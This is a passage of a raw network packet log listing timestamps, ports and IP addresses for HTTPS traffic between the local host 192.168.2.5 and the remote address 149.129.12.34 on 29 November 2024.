Nov 29, 2024 15:45:21.113673925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.113715887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.118638992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.118655920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.118710041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.118715048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.118757963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.124037027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.124052048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.124104977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.124110937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.124150038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.297940016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.297955036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.298296928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.298319101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.298365116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.302791119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.302804947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.302903891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.302923918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.302972078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.308237076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.308255911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.308317900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.308329105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.308373928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.313810110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.313826084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.313885927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.313908100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.313946009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.318696976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.318711042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.318869114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.318891048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.318936110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.324608088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.324623108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.324704885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.324714899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.324760914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.328032970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.329518080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.329535007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.329588890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.329595089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.329633951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.333223104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.334952116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.334968090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.335028887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.335035086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.335082054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.340317965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.508980989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.508999109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.509071112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.509092093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.509135008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.513848066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.513864040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.513895988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.513905048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.513940096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.513952017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.519562006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.519581079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.519619942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.519624949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.519666910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.524494886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.524516106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.524573088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.524579048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.524622917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.529757023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.529773951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.529834986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.529844046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.529880047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.535809040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.535873890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.535876989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.535892010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.535928011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.535938025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.539344072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.540647984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.540663958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.540719032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.540726900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.540972948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.546242952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.546258926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.546314955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.546329021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.546389103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.578197002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.719274044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.719305992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.719382048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.719404936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.719444036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.724626064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.724653959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.724740982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.724740982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.724761963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.724853039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.729693890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.729712963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.729799986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.729820013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.729860067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.735325098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.735342979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.735404968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.735423088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.735464096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.740747929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.740772009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.740848064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.740863085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.740902901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.745970011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.745994091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.746045113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.746062040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.746073961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.746098042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.750937939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.750962019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.751025915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.751048088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.751085997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.756442070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.756464005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.756544113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.756558895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.756597042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.929544926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.929572105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.929744959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.929776907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.929819107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.935142040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.935168982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.935208082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.935231924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.935251951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.935267925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.940624952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.940650940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.940702915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.940725088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.940771103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.945593119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.945621014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.945656061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.945677042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.945689917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.945713997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.951024055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.951046944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.951106071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.951122999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.951162100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.956209898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.956228971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.956316948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.956336975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.956373930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.960705042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.961678028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.961697102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.961780071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.961791992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.961822987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.961828947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.965437889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.967256069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.967283010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.967338085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.967350960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.967386961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.975234032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.254898071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.254915953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.254956961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.255059004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.255089045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.255116940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.255136967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.259881973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.259907007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.259958982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.259967089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.259999990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.260013103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.265341043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.265362024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.265430927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.265439987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.265492916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.270785093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.270804882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.270875931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.270886898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.270947933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.276124001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.276144028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.276212931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.276221991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.276266098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.281632900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.281650066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.281711102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.281719923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.281764030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.286453962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.286473989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.286529064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.286537886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.286585093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.292380095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.292399883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.292454958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.292463064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.292503119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.292897940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.465526104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.465553045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.465634108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.465667009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.465898037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.470422983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.470447063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.470484018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.470495939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.470537901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.475996017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.476012945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.476073980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.476084948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.476145029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.481404066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.481420994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.481477976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.481488943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.481719017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.486318111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.486334085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.486382008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.486392975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.486460924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.492295980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.492314100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.492366076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.492377996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.492455006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.497092009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.497112989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.497190952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.497210026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.497261047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.502701044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.502723932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.502787113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.502803087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.502958059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.504167080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.675862074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.675893068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.675987959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.676012993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.676966906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.681310892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.681332111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.681400061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.681411028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.681497097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.686237097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.686256886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.686330080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.686337948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.686433077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.691746950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.691772938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.691862106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.691869974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.694475889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.697290897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.697314978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.697382927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.697393894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.698446989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.702513933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.702537060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.702584982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.702593088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.705291033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.707983971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.708012104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.708070993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.708076954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.708110094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.708116055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.713619947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.713641882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.713715076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.713722944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.714453936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.720601082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.886395931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.886424065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.886554956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.886578083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.886791945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.891918898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.891936064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.892007113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.892014027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.892077923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.896997929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.897015095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.897074938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.897083998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.897130013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.902472019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.902491093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.902564049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.902571917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.902622938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.907872915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.907896042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.907955885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.907963991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:22.908176899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:22.913225889 CET	443	49704	149.129.12.34	192.168.2.5
